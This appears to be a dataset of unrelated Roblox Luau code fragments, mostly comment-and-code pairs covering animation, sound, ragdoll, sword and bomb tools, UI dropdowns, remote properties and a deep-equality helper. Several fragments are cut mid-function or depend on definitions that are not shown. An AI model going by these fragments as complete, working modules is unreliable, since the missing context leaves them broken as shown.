local p1 = sanitizeAngle((offset*(1 + f*dt) + v*dt)*decay + g)
local v1 = (v*(1 - f*dt) - offset*(f*f*dt))*decay
return p1, v1
end
|
--!strict |
local MarketplaceService = game.MarketplaceService
local BadgeService = game.BadgeService
local DataStoreService = game.DataStoreService
local Players = game.Players
type receiptInfo = {
PurchaseId: number,
PlayerId: number,
ProductId: number,
PlaceIdWherePurchased: number,
CurrencySpent: number,
CurrencyType: Enum.CurrencyType
}
type productFunction = (receiptInfo, Player) -> (boolean)
type badgeFunction = (userid: number) -> (boolean)
local purchaseHistoryStore = DataStoreService:GetDataStore("PurchaseHistory")
local Functions = {
products = {} :: {[number]: productFunction},
badges = {} :: {[number]: badgeFunction},
}
|
--[=[
@class RemoteProperty
@server
Created via `ServerComm:CreateProperty()`.
Values set can be anything that can pass through a
[RemoteEvent](https://developer.roblox.com/en-us/articles/Remote-Functions-and-Events#parameter-limitations).
Here is a cheat-sheet for the below methods:
- Setting data
- `Set`: Set "top" value for all current and future players. Overrides any custom-set data per player.
- `SetTop`: Set the "top" value for all players, but does _not_ override any custom-set data per player.
- `SetFor`: Set custom data for the given player. Overrides the "top" value. (_Can be nil_)
- `SetForList`: Same as `SetFor`, but accepts a list of players.
- `SetFilter`: Accepts a predicate function which checks for which players to set.
- Clearing data
- `ClearFor`: Clears the custom data set for a given player. Player will start using the "top" level value instead.
- `ClearForList`: Same as `ClearFor`, but accepts a list of players.
- `ClearFilter`: Accepts a predicate function which checks for which players to clear.
- Getting data
- `Get`: Retrieves the "top" value
- `GetFor`: Gets the current value for the given player. If cleared, returns the top value.
:::caution Network
Calling any of the data setter methods (e.g. `Set()`) will
fire the underlying RemoteEvent to replicate data to the
clients. Therefore, setting data should only occur when it
is necessary to change the data that the clients receive.
:::
:::caution Tables
Tables _can_ be used with RemoteProperties. However, the
RemoteProperty object will _not_ watch for changes within
the table. Therefore, anytime changes are made to the table,
the data must be set again using one of the setter methods.
:::
]=] |
local RemoteProperty = {}
RemoteProperty.__index = RemoteProperty
function RemoteProperty.new(
parent: Instance,
name: string,
initialValue: any,
inboundMiddleware: Types.ServerMiddleware?,
outboundMiddleware: Types.ServerMiddleware?
)
local self = setmetatable({}, RemoteProperty)
self._rs = RemoteSignal.new(parent, name, inboundMiddleware, outboundMiddleware)
self._value = initialValue
self._perPlayer = {}
self._playerRemoving = Players.PlayerRemoving:Connect(function(player)
self._perPlayer[player] = nil
end)
self._rs:Connect(function(player)
local playerValue = self._perPlayer[player]
local value = if playerValue == nil then self._value elseif playerValue == None then nil else playerValue
self._rs:Fire(player, value)
end)
return self
end
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Spin bone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
-- Hook up CreateIndicator bindable function |
bfCreateIndicator.OnInvoke = function (position, time)
assert(position, "requires arg #1 position")
assert(time, "requires arg #2 time")
return Indicator:new{time = time; position = position;}
end
|
-- ROBLOX MOVED: expect/jasmineUtils.lua
-- Equality function lovingly adapted from isEqual in
-- [Underscore](http://underscorejs.org) |
local function eq(
a: any,
b: any,
aStack: Array<any>,
bStack: Array<any>,
customTesters: Array<Tester>,
_hasKey: any
): boolean
local result = true
local asymmetricResult = asymmetricMatch(a, b)
if asymmetricResult ~= nil then
return asymmetricResult
end
for _, value in ipairs(customTesters) do
local customTesterResult = value(a, b)
if customTesterResult ~= nil then
return customTesterResult
end
end
-- ROBLOX deviation: code omitted because there are no error objects in Lua
if Object.is(a, b) then
return true
end
-- ROBLOX deviation: code omitted that does strict comparison because we don't
-- have similar concerns in Lua where there are no distinct 'null' and
-- 'undefined' types
-- ROBLOX deviation: as part of the upstream className check, a type difference of
-- array/non-array would be detected so we add this in manually
local className = getType(a)
if className ~= getType(b) then
return false
elseif Array.isArray(a) ~= Array.isArray(b) then
return false
end
-- ROBLOX deviation: code omitted for elseif case with regular expressions since
-- Lua doesn't have a built in regular expression type
if className == "boolean" or className == "string" or className == "number" or className == "userdata" then
return Object.is(a, b)
elseif className == "DateTime" then
return a == b
elseif className == "regexp" then
return tostring(a) == tostring(b)
end
if typeof(a) ~= "table" or typeof(b) ~= "table" then
return false
end
-- DOM code omitted for now but translated here
--[[
if isDomNode(a) and isDomNode(b) then
return a.isEqualNode(b)
end
--]]
-- Used to detect circular references.
local length = #aStack
while length > 0 do
-- Linear search. Performance is inversely proportional to the number of
-- unique nested structures.
-- circular references at same depth are equal
-- circular reference is not equal to non-circular one
if aStack[length] == a then
return bStack[length] == b
elseif bStack[length] == b then
return false
end
length -= 1
end
-- Add the first object to the stack of traversed objects.
table.insert(aStack, a)
table.insert(bStack, b)
-- Recursively compare objects and arrays.
-- Compare array lengths to determine if a deep comparison is necessary.
if Array.isArray(a) and #a ~= #b then
return false
end
-- Deep compare objects
local aKeys = keys(a, _hasKey)
local size = #aKeys
-- Ensure that both objects contain the same number of properties before comparing deep equality.
if #keys(b, _hasKey) ~= size then
return false
end
while size > 0 do
local key = aKeys[size]
-- Deep compare each member
result = hasKey(b, key) and eq(a[key], b[key], aStack, bStack, customTesters, _hasKey)
if not result then
return false
end
size -= 1
end
-- Remove the first object from the stack of traversed objects.
table.remove(aStack)
table.remove(bStack)
return result
end
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if toolAnim == "None" then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if toolAnim == "Slash" then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if toolAnim == "Lunge" then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.ClassName == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix")
if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- Returns the name of the state |
function BaseState:GetName()
return self.stateFolder.name
end
|
--[[
Client side script that requests a bomb throw if the player activates their tool outside of cooldown
]] |
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer
local mouse = localPlayer:GetMouse()
local tool = script.Parent
local fireEvent = tool:WaitForChild("Fire")
local cooldown = tool:WaitForChild("Cooldown").Value
local lastThrow = 0
tool.Activated:Connect(
function()
local nowTick = tick()
if nowTick - lastThrow > cooldown then
lastThrow = nowTick
local character = localPlayer.Character
if character and character.PrimaryPart then
local origin = character.PrimaryPart.Position
local target = mouse.Hit.p
fireEvent:FireServer(origin, target)
end
end
end
)
|
--!nocheck
-- ^ change to strict to crash studio c: |
local oldtypeof = typeof
local function typeof(objIn: any): string
local objType = oldtypeof(objIn)
if objType ~= "table" then return objType end
-- Could be a custom type if it's a table.
local meta = getmetatable(objIn)
if oldtypeof(meta) ~= "table" then return objType end
-- Has a metatable that's an exposed table.
local customType: string? = meta["__type"] -- I want to mandate that this is a string.
if customType == nil then return objType end
-- Has a type field
return customType
end
return typeof
|
--Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false) |
Rig.Character = Character
Rig.CreateFolders()
Rig.FindParts()
Rig.CreateAltRootMotor()
Rig.ScaleAltRootMotorOffset()
Rig.CreateConstraints()
Rig.BuildConstraintRig()
if Settings.CreateAccessoryConstraints == true then Rig.CreateAccessoryConstraints() end
Rig.CreateNoClipCollisionGroup()
Rig.TakeCareOfRootPartAndHead()
Rig.CreateCustomHeadCollisionBox()
Rig.CreateNoCollisionConstraints()
local Debris = game:GetService("Debris")
local IsRagdollNow = false
local CurrentCooldown = 0
function ragdoll(Mode,Velocity)
if Mode == true then
if IsRagdollNow then spawn(function() if Velocity then Functions_RemoteVelocity:InvokeClient(Player,Velocity) end end) return end
IsRagdollNow = true
CurrentCooldown = time()+Settings.UnRagdollCooldown
Variables_Ragdoll.Value = true
Rig.ToggleRagdollRig(true)
Functions_RemoteRagdoll:InvokeClient(Player,true,Velocity)
elseif Mode == "dead" then
if Settings.CloneCharacterOnDeath then
Player.CharacterRemoving:Connect(function()
Character.Archivable = true
Humanoid.AutomaticScalingEnabled = false
local CharClone = Character:Clone()
CharClone.Name = Player.Name.."'s Ragdoll"
for _,v in pairs(CharClone:GetDescendants()) do
if v:IsA("BaseScript") or v:IsA("Sound") then
v:Destroy()
end
end
Character:Destroy()
CharClone.Parent = workspace
Addons.KillHumanoid(CharClone.Humanoid)
if Settings.AutoCleanup and Settings.AutoCleanupTime then
Debris:AddItem(CharClone, Settings.AutoCleanupTime)
end
pcall(function()
for _,v in pairs(CharClone:GetDescendants()) do
if v:IsA("BasePart") then
v:SetNetworkOwnershipAuto()
end
end
end)
end)
end
else
if not IsRagdollNow then return end
IsRagdollNow = false
Variables_Ragdoll.Value = false
Rig.ToggleRagdollRig(false)
Functions_RemoteRagdoll:InvokeClient(Player,false)
end
end
local HealthConnection
HealthConnection = Humanoid:GetPropertyChangedSignal("Health"):Connect(function()
if Humanoid.Health <= 0 then
HealthConnection:Disconnect() --Preparing for death sequence
pcall(function() Character.Health:Destroy() end)
-- PLACE FOR CODE MEANT TO HAPPEN BEFORE ACTUALLY KILLING --Executing code that needs to run before death to avoid bugs
--Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, true) --Killing
Addons.KillHumanoid(Humanoid)
ragdoll(true) --Ragdolling
if Settings.BreakJointsOnDeath then Addons.DestroyMotors(Rig.Motors) end --Breaking joints after ragdolling to ensure consistency with ragdolling normally
ragdoll("dead") --Executing post-mortem events
end
end)
Variables_Ragdoll:GetPropertyChangedSignal("Value"):Connect(function()
if Humanoid.Health > 0 then
ragdoll(Variables_Ragdoll.Value)
end
end)
|
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Rust",Paint)
end)
|
--[=[
Retrieves a global remote function from the store. On the server, it constructs a new one,
and on the client, it waits for it to exist.
:::tip
Consider using [PromiseGetRemoteFunction] for a non-yielding version
:::
```lua
-- server.lua
local GetRemoteFunction = require("GetRemoteFunction")
local remoteFunction = GetRemoteFunction("testing")
remoteFunction.OnServerInvoke = function(_player, text)
return "HI " .. tostring(text)
end
-- client.lua
local GetRemoteFunction = require("GetRemoteFunction")
local remoteFunction = GetRemoteFunction("testing")
print(remoteFunction:InvokeServer("Bob")) --> HI Bob
```
:::info
If the game is not running, then a mock remote function will be created
for use in testing.
:::
@yields
@function GetRemoteFunction
@within GetRemoteFunction
@param name string
@return RemoteFunction
]=] |
local require = require(script.Parent.loader).load(script)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local ResourceConstants = require("ResourceConstants")
if not RunService:IsRunning() then
return function(name)
local func = Instance.new("RemoteFunction")
func.Name = "Mock" .. name
func.Archivable = false
return func
end
elseif RunService:IsServer() then
return function(name)
assert(type(name) == "string", "Bad name")
local storage = ReplicatedStorage:FindFirstChild(ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME)
if not storage then
storage = Instance.new("Folder")
storage.Name = ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME
storage.Archivable = false
storage.Parent = ReplicatedStorage
end
local func = storage:FindFirstChild(name)
if func then
return func
end
func = Instance.new("RemoteFunction")
func.Name = name
func.Archivable = false
func.Parent = storage
return func
end
else -- RunService:IsClient()
return function(name)
assert(type(name) == "string", "Bad name")
return ReplicatedStorage:WaitForChild(ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME):WaitForChild(name)
end
end
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]] |
local autoscaling = true --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 370 ,
spInc = 40 , -- Increment between labelled notches
},
}
|
--[[
Calls await and only returns if the Promise resolves.
Throws if the Promise rejects or gets cancelled.
]] |
function Promise.prototype:awaitValue(...)
local length, result = pack(self:awaitStatus(...))
local status = table.remove(result, 1)
assert(
status == Promise.Status.Resolved,
tostring(result[1] == nil and "" or result[1])
)
return unpack(result, 1, length - 1)
end
|
-- Connect to the current and all future cameras |
workspace.Changed:connect(OnWorkspaceChanged)
OnWorkspaceChanged('CurrentCamera')
Player.CharacterAdded:connect(OnCharacterAdded)
if Player.Character then
OnCharacterAdded(Player.Character)
end
Behaviors[MODE.CUSTOM] = function() end -- (Does nothing until SetCustomBehavior)
Behaviors[MODE.LIMBS] = LimbBehavior
Behaviors[MODE.MOVEMENT] = MoveBehavior
Behaviors[MODE.CORNERS] = CornerBehavior
Behaviors[MODE.CIRCLE1] = CircleBehavior
Behaviors[MODE.CIRCLE2] = CircleBehavior
Behaviors[MODE.LIMBMOVE] = LimbMoveBehavior
Invisicam:SetMode(STARTING_MODE)
return Invisicam
|
-- Dropdowns |
function Icon:setDropdown(arrayOfIcons)
-- Reset any previous icons
for i, otherIcon in pairs(self.dropdownIcons) do
otherIcon:leave()
end
-- Apply new icons
for i, otherIcon in pairs(arrayOfIcons) do
otherIcon:join(self, "dropdown", true)
end
-- Update dropdown
self:_updateDropdown()
return self
end
function Icon:_updateDropdown()
local values = {
maxIconsBeforeScroll = self:get("dropdownMaxIconsBeforeScroll") or "_NIL",
minWidth = self:get("dropdownMinWidth") or "_NIL",
padding = self:get("dropdownListPadding") or "_NIL",
dropdownAlignment = self:get("dropdownAlignment") or "_NIL",
iconAlignment = self:get("alignment") or "_NIL",
scrollBarThickness = self:get("dropdownScrollBarThickness") or "_NIL",
}
for k, v in pairs(values) do if v == "_NIL" then return end end
local YPadding = values.padding.Offset
local dropdownContainer = self.instances.dropdownContainer
local dropdownFrame = self.instances.dropdownFrame
local dropdownList = self.instances.dropdownList
local totalIcons = #self.dropdownIcons
local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons
local newCanvasSizeY = -YPadding
local newFrameSizeY = 0
local newMinWidth = values.minWidth
table.sort(self.dropdownIcons, function(a,b) return a:get("order") < b:get("order") end)
for i = 1, totalIcons do
local otherIcon = self.dropdownIcons[i]
local _, otherIconSize = otherIcon:get("iconSize", nil, "beforeDropdown")
local increment = otherIconSize.Y.Offset + YPadding
if i <= lastVisibleIconIndex then
newFrameSizeY = newFrameSizeY + increment
end
if i == totalIcons then
newFrameSizeY = newFrameSizeY + increment/4
end
newCanvasSizeY = newCanvasSizeY + increment
local otherIconWidth = otherIconSize.X.Offset --+ 4 + 100 -- the +100 is to allow for notices
if otherIconWidth > newMinWidth then
newMinWidth = otherIconWidth
end
end
local finalCanvasSizeY = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeY
self:set("dropdownCanvasSize", UDim2.new(0, 0, 0, finalCanvasSizeY))
self:set("dropdownSize", UDim2.new(0, (newMinWidth+4)*2, 0, newFrameSizeY))
-- Set alignment while considering screen bounds
local dropdownAlignment = values.dropdownAlignment:lower()
local alignmentDetails = {
left = {
AnchorPoint = Vector2.new(0, 0),
PositionXScale = 0,
ThicknessMultiplier = 0,
},
mid = {
AnchorPoint = Vector2.new(0.5, 0),
PositionXScale = 0.5,
ThicknessMultiplier = 0.5,
},
right = {
AnchorPoint = Vector2.new(0.5, 0),
PositionXScale = 1,
FrameAnchorPoint = Vector2.new(0, 0),
FramePositionXScale = 0,
ThicknessMultiplier = 1,
}
}
local alignmentDetail = alignmentDetails[dropdownAlignment]
if not alignmentDetail then
alignmentDetail = alignmentDetails[values.iconAlignment:lower()]
end
dropdownContainer.AnchorPoint = alignmentDetail.AnchorPoint
dropdownContainer.Position = UDim2.new(alignmentDetail.PositionXScale, 0, 1, YPadding+0)
local scrollbarThickness = values.scrollBarThickness
local newThickness = scrollbarThickness * alignmentDetail.ThicknessMultiplier
local additionalOffset = (dropdownFrame.VerticalScrollBarPosition == Enum.VerticalScrollBarPosition.Right and newThickness) or -newThickness
dropdownFrame.AnchorPoint = alignmentDetail.FrameAnchorPoint or alignmentDetail.AnchorPoint
dropdownFrame.Position = UDim2.new(alignmentDetail.FramePositionXScale or alignmentDetail.PositionXScale, additionalOffset, 0, 0)
self._dropdownCanvasPos = Vector2.new(0, 0)
end
function Icon:_dropdownIgnoreClipping()
self:_ignoreClipping("dropdown")
end
|
-- If GetTranslatorForPlayerAsync succeeds, it will return a Translator for player's current locale |
local res, translator = pcall(function()
return LocalizationService:GetTranslatorForPlayerAsync(player)
end)
|
-- Updating the healthbar |
game:GetService("RunService").RenderStepped:Connect(function()
local humanoid = char:FindFirstChild("Humanoid")
healthbar.GreenFrame.Size = UDim2.new(humanoid.Health/humanoid.MaxHealth,0,1,0)
healthbar.HealthStatus.Text = math.floor(humanoid.Health).."/"..humanoid.MaxHealth
end)
|
--SFX ID to Sound object |
local Sounds = {}
do
local Figure = script.Parent.Parent
Head = Figure:WaitForChild("Head")
while not Humanoid do
for _,NewHumanoid in pairs(Figure:GetChildren()) do
if NewHumanoid:IsA("Humanoid") then
Humanoid = NewHumanoid
break
end
end
Figure.ChildAdded:wait()
end
Sounds[SFX.Died] = Head:WaitForChild("Died")
Sounds[SFX.Running] = Head:WaitForChild("Running")
Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
Sounds[SFX.Landing] = Head:WaitForChild("Landing")
Sounds[SFX.Splash] = Head:WaitForChild("Splash")
end
local Util
Util = {
--Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
--(y - y1)/(x - x1) = m
local m = (pt1y - pt2y) / (pt1x - pt2x)
--float b = pt1.y - m * pt1.x;
local b = (pt1y - m * pt1x)
return m * x + b
end;
--Clamps the value of "val" between the "min" and "max"
Clamp = function(val,min,max)
return math.min(max,math.max(min,val))
end;
--Gets the horizontal (x,z) velocity magnitude of the given part
HorizontalSpeed = function(Head)
local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
return hVel.magnitude
end;
--Gets the vertical (y) velocity magnitude of the given part
VerticalSpeed = function(Head)
return math.abs(Head.Velocity.Y)
end;
--Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
--If these properties are enabled, use them.
Play = function(sound)
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
if not sound.IsPlaying then
sound.Playing = true
end
end;
Pause = function(sound)
if sound.IsPlaying then
sound.Playing = false
end
end;
Resume = function(sound)
if not sound.IsPlaying then
sound.Playing = true
end
end;
Stop = function(sound)
if sound.IsPlaying then
sound.Playing = false
end
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
end;
}
do
-- List of all active Looped sounds
local playingLoopedSounds = {}
-- Last seen Enum.HumanoidStateType
local activeState = nil
-- Verify and set that "sound" is in "playingLoopedSounds".
function setSoundInPlayingLoopedSounds(sound)
for i=1, #playingLoopedSounds do
if playingLoopedSounds[i] == sound then
return
end
end
table.insert(playingLoopedSounds,sound)
end
-- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
function stopPlayingLoopedSoundsExcept(except)
for i=#playingLoopedSounds,1,-1 do
if playingLoopedSounds[i] ~= except then
Util.Pause(playingLoopedSounds[i])
table.remove(playingLoopedSounds,i)
end
end
end
-- Table of Enum.HumanoidStateType to handling function
local stateUpdateHandler = {
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Died]
Util.Play(sound)
end;
[Enum.HumanoidStateType.RunningNoPhysics] = function()
stateUpdated(Enum.HumanoidStateType.Running)
end;
[Enum.HumanoidStateType.Running] = function()
local sound = Sounds[SFX.Running]
stopPlayingLoopedSoundsExcept(sound)
if Util.HorizontalSpeed(Head) > 0.5 then
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
else
stopPlayingLoopedSoundsExcept()
end
end;
[Enum.HumanoidStateType.Swimming] = function()
if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
100, 0.28,
350, 1),
0,1)
Util.Play(splashSound)
end
do
local sound = Sounds[SFX.Swimming]
stopPlayingLoopedSoundsExcept(sound)
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
end
end;
[Enum.HumanoidStateType.Climbing] = function()
local sound = Sounds[SFX.Climbing]
if Util.VerticalSpeed(Head) > 0.1 then
Util.Resume(sound)
stopPlayingLoopedSoundsExcept(sound)
else
stopPlayingLoopedSoundsExcept()
end
setSoundInPlayingLoopedSounds(sound)
end;
[Enum.HumanoidStateType.Jumping] = function()
if activeState == Enum.HumanoidStateType.Jumping then
return
end
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Jumping]
Util.Play(sound)
end;
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.GettingUp]
Util.Play(sound)
end;
[Enum.HumanoidStateType.Freefall] = function()
if activeState == Enum.HumanoidStateType.Freefall then
return
end
local sound = Sounds[SFX.FreeFalling]
sound.Volume = 0
stopPlayingLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSoundsExcept()
if Util.VerticalSpeed(Head) > 75 then
local landingSound = Sounds[SFX.Landing]
landingSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
50, 0,
100, 1),
0,1)
Util.Play(landingSound)
end
end
}
-- Handle state event fired or OnChange fired
function stateUpdated(state)
if stateUpdateHandler[state] ~= nil then
stateUpdateHandler[state]()
end
activeState = state
end
Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
-- required for proper handling of Landed event
Humanoid.StateChanged:connect(function(old, new)
stateUpdated(new)
end)
function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
local stepScale = stepDeltaSeconds / tickSpeedSeconds
do
local sound = Sounds[SFX.FreeFalling]
if activeState == Enum.HumanoidStateType.Freefall then
if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
Util.Resume(sound)
--Volume takes 1.1 seconds to go from volume 0 to 1
local ANIMATION_LENGTH_SECONDS = 1.1
local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
else
sound.Volume = 0
end
else
Util.Pause(sound)
end
end
do
local sound = Sounds[SFX.Running]
if activeState == Enum.HumanoidStateType.Running then
if Util.HorizontalSpeed(Head) < 0.5 then
Util.Pause(sound)
end
end
end
end
local lastTick = tick()
local TICK_SPEED_SECONDS = 0.25
while true do
onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
lastTick = tick()
wait(TICK_SPEED_SECONDS)
end
end
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
DamageValues = {
BaseDamage = 10,
SlashDamage = 20,
}
Damage = DamageValues.BaseDamage
BaseUrl = "http://www.roblox.com/asset/?id="
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
Rate = (1 / 60)
AnimationsBin = Tool:WaitForChild("Animations")
R6Anims = AnimationsBin:WaitForChild("R6")
R15Anims = AnimationsBin:WaitForChild("R15")
Animations = {
R6LeftSlash = {Animation = R6Anims:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R6RightSlash = {Animation = R6Anims:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R6SideSwipe = {Animation = R6Anims:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
R15LeftSlash = {Animation = R15Anims:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15RightSlash = {Animation = R15Anims:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15SideSwipe = {Animation = R15Anims:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
}
Sounds = {
Unsheath = Handle:WaitForChild("Unsheath"),
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
}
ToolEquipped = false
Remotes = (Tool:FindFirstChild("Remotes") or Create("Folder"){
Name = "Remotes",
Parent = Tool,
})
ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Remotes,
})
ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Remotes,
})
Handle.Transparency = 0
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function CheckTableForInstance(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
function DealDamage(character, damage)
if not CheckIfAlive() or not character then
return
end
local damage = (damage or 0)
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso")
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(damage)
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Blow(Part)
local PartTouched
local HitDelay = false
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
HitDelay = true
local TotalDamage = Damage
DealDamage(character, TotalDamage)
